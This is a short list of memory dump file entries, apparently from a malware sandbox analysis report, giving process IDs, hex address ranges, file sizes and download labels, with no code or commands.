memory/4732-565-0x0000000070760000-0x00000000707AB000-memory.dmp

Filesize
300KB

Download
memory/4932-2073-0x0000000070590000-0x00000000708E0000-memory.dmp

Filesize
3.3MB

Download
memory/4932-2072-0x0000000070520000-0x000000007056B000-memory.dmp

Filesize
300KB

Download
memory/4956-327-0x00000000707B0000-0x0000000070B00000-memory.dmp

Filesize
3.3MB

Download
memory/4956-332-0x00000000091E0000-0x0000000009285000-memory.dmp

Filesize
660KB

Download
memory/4956-326-0x0000000070760000-0x00000000707AB000-memory.dmp

Filesize
300KB

Download
memory/4956-307-0x0000000007C90000-0x0000000007CDB000-memory.dmp

Filesize
300KB

Download
memory/4956-306-0x0000000007930000-0x0000000007C80000-memory.dmp

Filesize
3.3MB

Download